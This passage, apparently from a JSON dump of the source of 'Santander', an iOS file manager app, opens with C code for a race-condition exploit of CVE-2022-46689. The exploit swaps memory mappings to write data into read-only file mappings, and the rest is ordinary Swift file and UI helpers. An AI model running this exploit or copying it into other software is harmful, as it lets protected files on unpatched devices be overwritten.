*/\n\t\tusleep(100);\n\t\t/* switch bakc to original RO mapping */\n\t\tkr = vm_map(mach_task_self(),\n\t\t    &ctx->e0,\n\t\t    ctx->obj_size,\n\t\t    0,         /* mask */\n\t\t    VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,\n\t\t    ctx->mem_entry_ro,\n\t\t    0,\n\t\t    FALSE,         /* copy */\n\t\t    VM_PROT_READ,\n\t\t    VM_PROT_READ,\n\t\t    VM_INHERIT_DEFAULT);\n\t\tT_QUIET; T_EXPECT_MACH_SUCCESS(kr, \" vm_map() RO\");\n\t\t/* tell main thread we're don switching mappings */\n\t\tpthread_mutex_unlock(&ctx->mtx);\n\t\tusleep(100);\n\t}\n\treturn NULL;\n}\n\nbool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length) {\n\tbool retval = false;\n\tpthread_t th = NULL;\n\tint ret;\n\tkern_return_t kr;\n\ttime_t start, duration;\n#if 0\n\tmach_msg_type_number_t cow_read_size;\n#endif\n\tvm_size_t copied_size;\n\tint loops;\n\tvm_address_t e2, e5;\n\tstruct context1 context1, *ctx;\n\tint kern_success = 0, kern_protection_failure = 0, kern_other = 0;\n\tvm_address_t ro_addr, tmp_addr;\n\tmemory_object_size_t mo_size;\n\n\tctx = &context1;\n\tctx->obj_size = 256 * 1024;\n\n\tvoid* file_mapped = mmap(NULL, ctx->obj_size, PROT_READ, MAP_SHARED, file_to_overwrite, file_offset);\n\tif (file_mapped == MAP_FAILED) {\n\t\tfprintf(stderr, \"failed to map\\n\");\n\t\treturn false;\n\t}\n\tif (!memcmp(file_mapped, overwrite_data, overwrite_length)) {\n\t\tfprintf(stderr, \"already the same?\\n\");\n\t\tmunmap(file_mapped, ctx->obj_size);\n\t\treturn true;\n\t}\n\tro_addr = (vm_address_t)file_mapped;\n\n\tctx->e0 = 0;\n\tctx->running_sem = dispatch_semaphore_create(0);\n\tT_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, \"dispatch_semaphore_create\");\n\tret = pthread_mutex_init(&ctx->mtx, NULL);\n\tT_QUIET; T_ASSERT_POSIX_SUCCESS(ret, \"pthread_mutex_init\");\n\tctx->done = false;\n\tctx->mem_entry_rw = MACH_PORT_NULL;\n\tctx->mem_entry_ro = MACH_PORT_NULL;\n#if 0\n\t/* allocate our attack target memory */\n\tkr = vm_allocate(mach_task_self(),\n\t    &ro_addr,\n\t    ctx->obj_size,\n\t    VM_FLAGS_ANYWHERE);\n\tT_QUIET; T_ASSERT_MACH_SUCCESS(kr, \"vm_allocate ro_addr\");\n\t/* initialize to 'A' */\n\tmemset((char *)ro_addr, 'A', ctx->obj_size);\n#endif\n\n\t/* make it read-only */\n\tkr = vm_protect(mach_task_self(),\n\t    ro_addr,\n\t    ctx->obj_size,\n\t    TRUE,             /* set_maximum */\n\t    VM_PROT_READ);\n\tT_QUIET; T_ASSERT_MACH_SUCCESS(kr, \"vm_protect ro_addr\");\n\t/* make sure we can't get read-write handle on that target memory */\n\tmo_size = ctx->obj_size;\n\tkr = mach_make_memory_entry_64(mach_task_self(),\n\t    &mo_size,\n\t    ro_addr,\n\t    MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,\n\t    &ctx->mem_entry_ro,\n\t    MACH_PORT_NULL);\n\tT_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, \"make_mem_entry() RO\");\n\t/* take read-only handle on that target memory */\n\tmo_size = ctx->obj_size;\n\tkr = mach_make_memory_entry_64(mach_task_self(),\n\t    &mo_size,\n\t    ro_addr,\n\t    MAP_MEM_VM_SHARE | VM_PROT_READ,\n\t    &ctx->mem_entry_ro,\n\t    MACH_PORT_NULL);\n\tT_QUIET; T_ASSERT_MACH_SUCCESS(kr, \"make_mem_entry() RO\");\n\tT_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, \"wrong mem_entry size\");\n\t/* make sure we can't map target memory as writable */\n\ttmp_addr = 0;\n\tkr = vm_map(mach_task_self(),\n\t    &tmp_addr,\n\t    ctx->obj_size,\n\t    0,         /* mask */\n\t    VM_FLAGS_ANYWHERE,\n\t    ctx->mem_entry_ro,\n\t    0,\n\t    FALSE,         /* copy */\n\t    VM_PROT_READ,\n\t    VM_PROT_READ | VM_PROT_WRITE,\n\t    VM_INHERIT_DEFAULT);\n\tT_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, \" vm_map() mem_entry_rw\");\n\ttmp_addr = 0;\n\tkr = vm_map(mach_task_self(),\n\t    &tmp_addr,\n\t    ctx->obj_size,\n\t    0,         /* mask */\n\t    VM_FLAGS_ANYWHERE,\n\t    ctx->mem_entry_ro,\n\t    0,\n\t    FALSE,         /* copy */\n\t    VM_PROT_READ | VM_PROT_WRITE,\n\t    VM_PROT_READ | VM_PROT_WRITE,\n\t    VM_INHERIT_DEFAULT);\n\tT_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, \" vm_map() mem_entry_rw\");\n\n\t/* allocate a source buffer for the unaligned copy */\n\tkr = vm_allocate(mach_task_self(),\n\t    &e5,\n\t    ctx->obj_size * 2,\n\t    VM_FLAGS_ANYWHERE);\n\tT_QUIET; T_ASSERT_MACH_SUCCESS(kr, \"vm_allocate e5\");\n\t/* initialize to 'C' */\n\tmemset((char *)e5, 'C', ctx->obj_size * 2);\n\n\tchar* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - 1);\n\tmemcpy(e5_overwrite_ptr, overwrite_data, overwrite_length);\n\n\tint overwrite_first_diff_offset = -1;\n\tchar overwrite_first_diff_value = 0;\n\tfor (int off = 0; off < overwrite_length; off++) {\n\t\tif (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) {\n\t\t\toverwrite_first_diff_offset = off;\n\t\t\toverwrite_first_diff_value = ((char*)ro_addr)[off];\n\t\t}\n\t}\n\tif (overwrite_first_diff_offset == -1) {\n\t\tfprintf(stderr, \"no diff?\\n\");\n\t\treturn false;\n\t}\n\n\t/*\n\t * get a handle on some writable memory that will be temporarily\n\t * switched with the read-only mapping of our target memory to try\n\t * and trick copy_unaligned to write to our read-only target.\n\t */\n\ttmp_addr = 0;\n\tkr = vm_allocate(mach_task_self(),\n\t    &tmp_addr,\n\t    ctx->obj_size,\n\t    VM_FLAGS_ANYWHERE);\n\tT_QUIET; T_ASSERT_MACH_SUCCESS(kr, \"vm_allocate() some rw memory\");\n\t/* initialize to 'D' */\n\tmemset((char *)tmp_addr, 'D', ctx->obj_size);\n\t/* get a memory entry handle for that RW memory */\n\tmo_size = ctx->obj_size;\n\tkr = mach_make_memory_entry_64(mach_task_self(),\n\t    &mo_size,\n\t    tmp_addr,\n\t    MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,\n\t    &ctx->mem_entry_rw,\n\t    MACH_PORT_NULL);\n\tT_QUIET; T_ASSERT_MACH_SUCCESS(kr, \"make_mem_entry() RW\");\n\tT_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, \"wrong mem_entry size\");\n\tkr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size);\n\tT_QUIET; T_ASSERT_MACH_SUCCESS(kr, \"vm_deallocate() tmp_addr 0x%llx\", (uint64_t)tmp_addr);\n\ttmp_addr = 0;\n\n\tpthread_mutex_lock(&ctx->mtx);\n\n\t/* start racing thread */\n\tret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx);\n\tT_QUIET; T_ASSERT_POSIX_SUCCESS(ret, \"pthread_create\");\n\n\t/* wait for racing thread to be ready to run */\n\tdispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER);\n\n\tduration = 10; /* 10 seconds */\n\tT_LOG(\"Testing for %ld seconds...\", duration);\n\tfor (start = time(NULL), loops = 0;\n\t    time(NULL) < start + duration;\n\t    loops++) {\n\t\t/* reserve space for our 2 contiguous allocations */\n\t\te2 = 0;\n\t\tkr = vm_allocate(mach_task_self(),\n\t\t    &e2,\n\t\t    2 * ctx->obj_size,\n\t\t    VM_FLAGS_ANYWHERE);\n\t\tT_QUIET; T_ASSERT_MACH_SUCCESS(kr, \"vm_allocate to reserve e2+e0\");\n\n\t\t/* make 1st allocation in our reserved space */\n\t\tkr = vm_allocate(mach_task_self(),\n\t\t    &e2,\n\t\t    ctx->obj_size,\n\t\t    VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240));\n\t\tT_QUIET; T_ASSERT_MACH_SUCCESS(kr, \"vm_allocate e2\");\n\t\t/* initialize to 'B' */\n\t\tmemset((char *)e2, 'B', ctx->obj_size);\n\n\t\t/* map our read-only target memory right after */\n\t\tctx->e0 = e2 + ctx->obj_size;\n\t\tkr = vm_map(mach_task_self(),\n\t\t    &ctx->e0,\n\t\t    ctx->obj_size,\n\t\t    0,         /* mask */\n\t\t    VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241),\n\t\t    ctx->mem_entry_ro,\n\t\t    0,\n\t\t    FALSE,         /* copy */\n\t\t    VM_PROT_READ,\n\t\t    VM_PROT_READ,\n\t\t    VM_INHERIT_DEFAULT);\n\t\tT_QUIET; T_EXPECT_MACH_SUCCESS(kr, \" vm_map() mem_entry_ro\");\n\n\t\t/* let the racing thread go */\n\t\tpthread_mutex_unlock(&ctx->mtx);\n\t\t/* wait a little bit */\n\t\tusleep(100);\n\n\t\t/* trigger copy_unaligned while racing with other thread */\n\t\tkr = vm_read_overwrite(mach_task_self(),\n\t\t    e5,\n\t\t    ctx->obj_size - 1 + overwrite_length,\n\t\t    e2 + 1,\n\t\t    &copied_size);\n\t\tT_QUIET;\n\t\tT_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE,\n\t\t    \"vm_read_overwrite kr %d\", kr);\n\t\tswitch (kr) {\n\t\tcase KERN_SUCCESS:\n\t\t\t/* the target was RW */\n\t\t\tkern_success++;\n\t\t\tbreak;\n\t\tcase KERN_PROTECTION_FAILURE:\n\t\t\t/* the target was RO */\n\t\t\tkern_protection_failure++;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\t/* should not happen */\n\t\t\tkern_other++;\n\t\t\tbreak;\n\t\t}\n\t\t/* check that our read-only memory was not modified */\n#if 0\n\t\tT_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, \"RO mapping was modified\");\n#endif\n\t\tbool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value;\n\n\t\t/* tell racing thread to stop toggling mappings */\n\t\tpthread_mutex_lock(&ctx->mtx);\n\n\t\t/* clean up before next loop */\n\t\tvm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size);\n\t\tctx->e0 = 0;\n\t\tvm_deallocate(mach_task_self(), e2, ctx->obj_size);\n\t\te2 = 0;\n\t\tif (!is_still_equal) {\n\t\t\tretval = true;\n\t\t\tfprintf(stderr, \"RO mapping was modified\\n\");\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tctx->done = true;\n\tpthread_mutex_unlock(&ctx->mtx);\n\tpthread_join(th, NULL);\n\n\tkr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw);\n\tT_QUIET; T_ASSERT_MACH_SUCCESS(kr, \"mach_port_deallocate(me_rw)\");\n\tkr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro);\n\tT_QUIET; T_ASSERT_MACH_SUCCESS(kr, \"mach_port_deallocate(me_ro)\");\n\tkr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size);\n\tT_QUIET; T_ASSERT_MACH_SUCCESS(kr, \"vm_deallocate(ro_addr)\");\n\tkr = vm_deallocate(mach_task_self(), e5, ctx->obj_size * 2);\n\tT_QUIET; T_ASSERT_MACH_SUCCESS(kr, \"vm_deallocate(e5)\");\n\n#if 0\n\tT_LOG(\"vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d\",\n\t    kern_success, kern_protection_failure, kern_other);\n\tT_PASS(\"Ran %d times in %ld seconds with no failure\", loops, duration);\n#endif\n\treturn retval;\n}\n"
  },
  {
    "path": "Santander/Other/Exploit/vm_unaligned_copy_switch_race.h",
    "content": "#pragma once\n#include <stdlib.h>\n#include <stdbool.h>\n/// Uses CVE-2022-46689 to overwrite `overwrite_length` bytes of `file_to_overwrite` with `overwrite_data`, starting from `file_offset`.\n/// `page_to_overwrite` should be a page aligned `PROT_READ` `MAP_SHARED` region. ``\n/// `overwrite_length` must be less than or equal to `PAGE_SIZE`.\n/// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable.\nbool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length);\n"
  },
  {
    "path": "Santander/Other/Extensions.swift",
    "content": "//\n//  Extensions.swift\n//  Santander\n//\n//  Created by Serena on 21/06/2022\n//\n\n// TODO: - Move all of this to other files, with separate files for each extension\n\n\nimport UIKit\nimport UniformTypeIdentifiers\nimport ApplicationsWrapper\n\nextension URL {\n    \n    func regularFileAllocatedSize() throws -> UInt64 {\n        let resourceValues = try self.resourceValues(forKeys: allocatedSizeResourceKeys)\n        \n        // We only look at regular files.\n        guard resourceValues.isRegularFile ?? false else {\n            return 0\n        }\n        \n        return UInt64(resourceValues.totalFileAllocatedSize ?? resourceValues.fileAllocatedSize ?? 0)\n    }\n    \n    var contents: [URL] {\n        // if not readable, invoke the root helper to get the contents\n        if !isReadable {\n            return (try? RootConf.shared.contents(of: resolvedURL)) ?? []\n        }\n        \n        let _contents = try? FileManager.default.contentsOfDirectory(at: self.resolvedURL, includingPropertiesForKeys: [])\n        return _contents ?? []\n    }\n    \n    var isDirectory: Bool {\n        return (try? resolvedURL.resourceValues(forKeys: [.isDirectoryKey]).isDirectory) ?? false\n    }\n    \n    var creationDate: Date? {\n        try? resourceValues(forKeys: [.creationDateKey]).creationDate\n    }\n    \n    var lastModifiedDate: Date? {\n        try? resourceValues(forKeys: [.contentModificationDateKey]).contentModificationDate\n    }\n    \n    var lastAccessedDate: Date? {\n        try? resourceValues(forKeys: [.contentAccessDateKey]).contentAccessDate\n    }\n    \n    /// The date to which the item was added to it's parent directory\n    var addedToDirectoryDate: Date? {\n        try? resourceValues(forKeys: [.addedToDirectoryDateKey]).addedToDirectoryDate\n    }\n    \n    var size: Int? {\n        if isDirectory {\n            var _size: Int = 0\n            for content in contents {\n                _size += content.size ?? 0\n            }\n            \n            return _size\n        }\n        \n        return try? resourceValues(forKeys: [.fileSizeKey]).fileSize\n    }\n    \n    var contentType: UTType? {\n        return try? resourceValues(forKeys: [.contentTypeKey]).contentType\n    }\n    \n    /// Display name of the URL path\n    var displayName: String {\n        return FileManager.default.displayName(atPath: self.path)\n    }\n    \n    /// The URL, resolved if a symbolic link\n    var resolvedURL: URL {\n        return (try? URL(resolvingAliasFileAt: self)) ?? self\n    }\n    \n    static let root: URL = URL(fileURLWithPath: \"/\")\n    static let home: URL = URL(fileURLWithPath: NSHomeDirectory())\n    \n    var isSymlink: Bool {\n        return (try? FileManager.default.destinationOfSymbolicLink(atPath: self.path)) != nil\n    }\n    \n    var isReadable: Bool {\n        return FileManager.default.isReadableFile(atPath: self.path)\n    }\n    \n    func setPermissions(forOwner owner: Permission, group: Permission = [], others: Permission = []) throws {\n        let octal = Permission.octalRepresentation(of: [owner, group, others])\n        try FSOperation.perform(.setPermissions(url: self, newOctalPermissions: octal), rootHelperConf: RootConf.shared)\n    }\n    \n    /// Returns an array of complete URLs to the URL's path components\n    func fullPathComponents() -> [URL] {\n        var arr: [URL] = []\n        let components = self.pathComponents\n        for indx in components.indices {\n            let item = components[components.startIndex...indx]\n                .joined(separator: \"/\")\n                .replacingOccurrences(of: \"//\", with: \"/\")\n            if item.isEmpty {\n                continue\n            }\n            arr.append(URL(fileURLWithPath: item))\n        }\n        return arr\n    }\n    \n    var containsAppUUIDSubpaths: Bool {\n        return pathComponents.contains(\"Containers\") || pathComponents.contains(\"containers\")\n    }\n    \n    var applicationItem: LSApplicationProxy? {\n        if self.pathExtension == \"app\" {\n            return ApplicationsManager.shared.application(forBundleURL: self)\n        }\n        \n        return ApplicationsManager.shared.application(forContainerURL: self) ?? ApplicationsManager.shared.application(forDataContainerURL: self)\n    }\n}\n\n#if targetEnvironment(simulator)\nfileprivate let applicationPaths: [String] = [URL.home.deletingLastPathComponent().path]\n#else\nfileprivate let applicationPaths: [String] = [\n    \"/private/var/containers/Bundle/Application\",\n    \"/private/var/mobile/Containers/Data\",\n    \"/private/var/mobile/Containers/Data/Application\"\n]\n#endif\n\nextension UIViewController {\n    func errorAlert(\n        _ errorDescription: String?,\n        title: String,\n        presentingFromIfAvailable presentingVC: UIViewController? = nil,\n        cancelAction: UIAlertAction = .cancel(title: \"OK\")\n    ) {\n        var message: String? = nil\n        if let errorDescription = errorDescription {\n            message = \"Error occured: \\(errorDescription)\"\n        }\n        \n        let alert = UIAlertController(title: title, message: message, preferredStyle: .alert)\n        alert.addAction(cancelAction)\n        let vcToPresentFrom = presentingVC ?? self\n        vcToPresentFrom.present(alert, animated: true)\n    }\n    \n    func errorAlert(\n        _ error: Error,\n        title: String,\n        presentingFromIfAvailable presentingVC: UIViewController? = nil,\n        cancelAction: UIAlertAction = .cancel(title: \"OK\")\n    ) {\n        self.errorAlert(error.localizedDescription, title: title, presentingFromIfAvailable: presentingVC, cancelAction: cancelAction)\n    }\n    \n    func configureNavigationBarToNormal() {\n        let navigationBarAppearance = UINavigationBarAppearance()\n        navigationBarAppearance.configureWithDefaultBackground()\n        navigationController?.navigationBar.compactAppearance = navigationBarAppearance\n        navigationController?.navigationBar.scrollEdgeAppearance = navigationBarAppearance\n    }\n    \n    /// Presents the Activity View Controller, with code to make sure it doesn't crash on iPad\n    func presentActivityVC(forItems items: [Any]) {\n        let vc = UIActivityViewController(activityItems: items, applicationActivities: nil)\n        vc.popoverPresentationController?.sourceView = view\n        let bounds = view.bounds\n        \n        vc.popoverPresentationController?.sourceRect = CGRect(x: bounds.midX, y: bounds.midY, width: 0, height: 0)\n        self.present(vc, animated: true)\n    }\n    \n    func createAlertWithSpinner(title: String, message: String? = nil, heightAnchorConstant: CGFloat = 95) -> UIAlertController {\n        let alertController = UIAlertController(title: title, message: message, preferredStyle: .alert)\n        let spinner = UIActivityIndicatorView()\n        spinner.translatesAutoresizingMaskIntoConstraints = false\n        spinner.startAnimating()\n        alertController.view.addSubview(spinner)\n        \n        NSLayoutConstraint.activate([\n            alertController.view.heightAnchor.constraint(equalToConstant: heightAnchorConstant),\n            spinner.centerXAnchor.constraint(equalTo: alertController.view.centerXAnchor),\n            spinner.bottomAnchor.constraint(equalTo: alertController.view.bottomAnchor, constant: -20),\n        ])\n        \n        return alertController\n    }\n    \n    func saveImage(_ image: UIImage) {\n        UIImageWriteToSavedPhotosAlbum(image, self, #selector(didSaveImage(_:error:context:)), nil)\n    }\n    \n    @objc\n    func didSaveImage(_ im: UIImage, error: Error?, context: UnsafeMutableRawPointer?) {\n        if let error = error {\n            errorAlert(error, title: \"Unable to save image\")\n        }\n    }\n}\n\n\nextension UIMenu {\n    func appending(_ element: UIMenuElement) -> UIMenu {\n        var children = self.children\n        children.append(element)\n        return self.replacingChildren(children)\n    }\n}\n\nextension UIAlertAction {\n    static func cancel(title: String = \"Cancel\", handler: (() -> Void)? = nil) -> UIAlertAction {\n        UIAlertAction(title: title, style: .cancel) { _ in\n            handler?()\n        }\n    }\n}\nextension FileManager {\n    \n    /// Calculate the allocated size of a directory and all its contents on the volume.\n    ///\n    /// As there's no simple way to get this information from the file system the method\n    /// has to crawl the entire hierarchy, accumulating the overall sum on the way.\n    /// The resulting value is roughly equivalent with the amount of bytes\n    /// that would become available on the volume if the directory would be deleted.\n    ///\n    /// - note: There are a couple of oddities that are not taken into account (like symbolic links, meta data of\n    /// directories, hard links, ...).\n    func allocatedSizeOfDirectory(at directoryURL: URL) throws -> UInt64 {\n        \n        // The error handler simply stores the error and stops traversal\n        var enumeratorError: Error? = nil\n        func errorHandler(_: URL, error: Error) -> Bool {\n            enumeratorError = error\n            return false\n        }\n        \n        // We have to enumerate all directory contents, including subdirectories.\n        let enumerator = self.enumerator(at: directoryURL,\n                                         includingPropertiesForKeys: Array(allocatedSizeResourceKeys),\n                                         options: [],\n                                         errorHandler: errorHandler)!\n        \n        // We'll sum up content size here:\n        var accumulatedSize: UInt64 = 0\n        \n        // Perform the traversal.\n        for item in enumerator {\n            \n            // Bail out on errors from the errorHandler.\n            if enumeratorError != nil { break }\n            \n            // Add up individual file sizes.\n            let contentItemURL = item as! URL\n            accumulatedSize += try contentItemURL.regularFileAllocatedSize()\n        }\n        \n        // Rethrow errors from errorHandler.\n        if let error = enumeratorError { throw error }\n        \n        return accumulatedSize\n    }\n}\n\n\nfileprivate let allocatedSizeResourceKeys: Set<URLResourceKey> = [\n    .isRegularFileKey,\n    .fileAllocatedSizeKey,\n    .totalFileAllocatedSizeKey,\n]\n\nextension NSNotification.Name {\n    static var pathGroupsDidChange: NSNotification.Name {\n        return NSNotification.Name(\"pathGroupsDidChange\")\n    }\n}\n\nextension Date {\n    func listFormatted() -> String {\n        if #available(iOS 15.0, *) {\n            return self.formatted(date: .long, time: .shortened)\n        } else {\n            let dateFormatter = DateFormatter()\n            dateFormatter.dateStyle = .long\n            dateFormatter.timeStyle = .short\n            return dateFormatter.string(from: self)\n        }\n    }\n}\n\nextension Collection {\n    subscript(safe safeIndex: Index) -> Element? {\n        return self.indices.contains(safeIndex) ? self[safeIndex] : nil\n    }\n}\n\nextension UTType {\n    \n    public static func generictypes() -> [UTType] {\n        return [\n            .content,\n            .image,\n            .video,\n            .text,\n            .audio,\n            .movie,\n            .sourceCode,\n            .executable\n        ]\n    }\n    \n    public static func audioTypes() -> [UTType] {\n        return [\n            .mp3,\n            .aiff,\n            .wav,\n            .midi\n        ]\n    }\n    \n    public static func programmingTypes() -> [UTType] {\n        var arr: [UTType] = [\n            .swiftSource,\n            .assemblyLanguageSource,\n            \n            .cSource,\n            .objectiveCSource,\n            .objectiveCPlusPlusSource,\n            .cPlusPlusSource,\n            \n            .cHeader,\n            .cPlusPlusHeader,\n            \n            .script,\n            .shellScript,\n            .javaScript,\n            .pythonScript,\n            .rubyScript,\n            .perlScript,\n            .phpScript\n        ]\n        \n        // UTType.makefile is 15+\n        if #available(iOS 15.0, *) {\n            arr.append(.makefile)\n        }\n        \n        return arr\n    }\n    \n    public static func compressedFormatTypes() -> [UTType] {\n        return [\n            .zip,\n            .gzip,\n            .bz2\n        ]\n    }\n    \n    public static func imageTypes() -> [UTType] {\n        return [\n            .png,\n            .gif,\n            .jpeg,\n            .webP,\n            .tiff,\n            .bmp,\n            .svg,\n            .heif\n        ]\n    }\n    \n    public static func documentTypes() -> [UTType] {\n        return [\n            .json,\n            .yaml,\n            .rtf,\n            .xml,\n            .propertyList,\n            .pdf\n        ]\n    }\n    \n    public static func systemTypes() -> [UTType] {\n        return [\n            .bundle,\n            .application,\n            .framework,\n            .log,\n            .database,\n            .diskImage,\n            .package\n        ]\n    }\n    \n    public static func executableTypes() -> [UTType] {\n        return [\n            .executable,\n            UTType(filenameExtension: \"dylib\")\n        ]\n            .compactMap { $0 }\n    }\n    \n    /// Checks whether the type is equal to the type given in the parameters\n    /// or a parameter of said type\n    func isOfType(_ type: UTType) -> Bool {\n        return type == self || self.isSubtype(of: type)\n    }\n}\n\nextension UITableViewController {\n    func indexPaths(forSection section: Int) -> [IndexPath] {\n        let allRows = self.tableView(tableView, numberOfRowsInSection: section)\n        return (0..<allRows).map { row in\n            return IndexPath(row: row, section: section)\n        }\n    }\n    \n    func cellWithView(_ view: UIView, text: String, rightAnchorConstant: CGFloat = -20) -> UITableViewCell {\n        let cell = UITableViewCell()\n        var conf = cell.defaultContentConfiguration()\n        conf.text = text\n        cell.contentConfiguration = conf\n        view.translatesAutoresizingMaskIntoConstraints = false\n        cell.contentView.addSubview(view)\n        \n        NSLayoutConstraint.activate([\n            view.rightAnchor.constraint(equalTo: cell.contentView.rightAnchor, constant: rightAnchorConstant),\n            view.centerYAnchor.constraint(equalTo: cell.contentView.centerYAnchor)\n        ])\n        \n        return cell\n    }\n    \n    /// A title view for a header, containing a button and a title\n    func sectionHeaderWithButton(\n        sectionTag: Int,\n        titleText: String?,\n        buttonCustomization: (UIButton) -> Void\n    ) -> UIView {\n        let view = UIView()\n        let label = UILabel()\n        let button = UIButton()\n        buttonCustomization(button)\n        \n        button.tag = sectionTag\n        \n        label.text = titleText\n        label.font = .systemFont(ofSize: 18, weight: .bold)\n        \n        label.translatesAutoresizingMaskIntoConstraints = false\n        button.translatesAutoresizingMaskIntoConstraints = false\n        view.addSubview(label)\n        view.addSubview(button)\n        \n        NSLayoutConstraint.activate([\n            label.leadingAnchor.constraint(equalTo: view.leadingAnchor, constant: 10),\n            label.topAnchor.constraint(equalTo: view.topAnchor, constant: 10),\n            \n            button.trailingAnchor.constraint(equalTo: view.trailingAnchor, constant: -5),\n            button.topAnchor.constraint(equalTo: view.topAnchor, constant: 5),\n        ])\n        \n        return view\n    }\n    \n    /// Returns a UIView of a footer view of the tableView's seperator color\n    func seperatorFooterView() -> UIView {\n        let result = UIView()\n        // recreate insets from existing ones in the table view\n        let insets = tableView.separatorInset\n        let width = tableView.bounds.width - insets.left - insets.right\n        let sepFrame = CGRect(x: insets.left, y: -0.5, width: width, height: 0.5)\n        \n        // create layer with separator, setting color\n        let sep = CALayer()\n        sep.frame = sepFrame\n        sep.backgroundColor = tableView.separatorColor?.cgColor\n        result.layer.addSublayer(sep)\n        \n        return result\n    }\n    \n    func deleteURL(_ path: Path, completionHandler: @escaping (Bool) -> Void) {\n        let confirmationController = UIAlertController(title: \"Are you sure you want to delete \\\"\\(path.lastPathComponent)\\\"?\", message: nil, preferredStyle: .alert)\n        let deleteAction = UIAlertAction(title: \"Delete\", style: .destructive) { _ in\n            do {\n                try FSOperation.perform(.removeItems(items: [path.url]), rootHelperConf: RootConf.shared)\n                completionHandler(true)\n            } catch {\n                self.errorAlert(error, title: \"Failed to delete \\\"\\(path.lastPathComponent)\\\"\")\n                completionHandler(false)\n            }\n        }\n        \n        let cancelAction: UIAlertAction = .cancel {\n            completionHandler(false)\n        }\n        \n        confirmationController.addAction(deleteAction)\n        confirmationController.addAction(cancelAction)\n        self.present(confirmationController, animated: true)\n    }\n}\n\nextension UIImage {\n    func imageWith(newSize: CGSize) -> UIImage {\n        let image = UIGraphicsImageRenderer(size: newSize).image { _ in\n            draw(in: CGRect(origin: .zero, size: newSize))\n        }\n        \n        return image.withRenderingMode(renderingMode)\n    }\n}\n\nextension UIAction {\n    convenience init(withClosure closure: @escaping () -> Void) {\n        self.init { _ in\n            closure()\n        }\n    }\n}\n \n// why the hell is this not built in already?\nextension Optional: Comparable where Wrapped: Comparable {\n    public static func < (lhs: Optional, rhs: Optional) -> Bool {\n        guard let lhs = lhs, let rhs = rhs else {\n            return false\n        }\n        \n        return lhs < rhs\n    }\n}\n\n\nextension UITableView.Style: CaseIterable, CustomStringConvertible {\n    static var userPreferred: UITableView.Style {\n        return UITableView.Style(rawValue: UserPreferences.preferredTableViewStyle) ?? .insetGrouped\n    }\n    \n    public static var allCases: [UITableView.Style] = [.insetGrouped, .grouped, .plain]\n    \n    public var description: String {\n        switch self {\n        case .plain:\n            return \"Plain\"\n        case .grouped:\n            return \"Grouped\"\n        case .insetGrouped:\n            return \"Inset Grouped\"\n        @unknown default:\n            return \"Unknown Mode\"\n        }\n    }\n}\n\nextension Array where Element: OptionSet {\n    // bizzare! see https://forums.swift.org/t/reducing-array-optionset-to-optionset/4438/8\n    func reducingToSingleOptionSet() -> Element {\n        return self.reduce(Element()) { return $0.union($1) }\n    }\n}\n\nextension passwd {\n    init?(fileURLOwner fileURL: URL) {\n        var buffer = stat()\n        guard lstat(fileURL.path, &buffer) == 0, let pwd = getpwuid(buffer.st_uid)?.pointee else {\n            return nil\n        }\n        \n        self = pwd\n    }\n}\n\nextension UIUserInterfaceStyle: CaseIterable {\n    public static var allCases: [UIUserInterfaceStyle] = [.unspecified, .dark, .light]\n    var description: String {\n        switch self {\n        case .unspecified:\n            return \"System\"\n        case .light:\n            return \"Light\"\n        case .dark:\n            return \"Dark\"\n        @unknown default:\n            return \"Unknown Mode\"\n        }\n    }\n}\n\nextension UITableViewCell {\n    func colorCircleAccessoryView(color: UIColor) -> UIView {\n        let colorPreview = UIView(frame: CGRect(x: 0, y: 0, width: 29, height: 29))\n        colorPreview.backgroundColor = color\n        colorPreview.layer.cornerRadius = colorPreview.frame.size.width / 2\n        colorPreview.layer.borderWidth = 1.5\n        colorPreview.layer.borderColor = UIColor.systemGray.cgColor\n        \n        return colorPreview\n    }\n}\n\nextension Dictionary where Key == String, Value == SerializedItemType {\n    func asAnyDictionary() -> [String: Any] {\n        var dict: [String: Any] = [:]\n        for (key, value) in self {\n            dict[key] = value.representedObject\n        }\n        \n        return dict\n    }\n}\n\nextension Dictionary where Key == String, Value == Any {\n    func asSerializedDictionary() -> SerializedDictionaryType {\n        var dict: SerializedDictionaryType = [:]\n        for (key, value) in self {\n            dict[key] = SerializedItemType(item: value)\n        }\n        \n        return dict\n    }\n}\n\nextension UIDevice {\n    static let isiPad = current.userInterfaceIdiom == .pad\n}\n\nextension DateFormatter {\n    /// A Date Formatter which could be used to format dates\n    /// used in EXIF metadata\n    static let EXIFDateFormatter = DateFormatter(withFormat: \"yyyy:MM:dd HH:mm:ss\")\n    static let IPTCDateFormatter = DateFormatter(withFormat: \"yyyyMMdd\")\n    \n    convenience init(withFormat 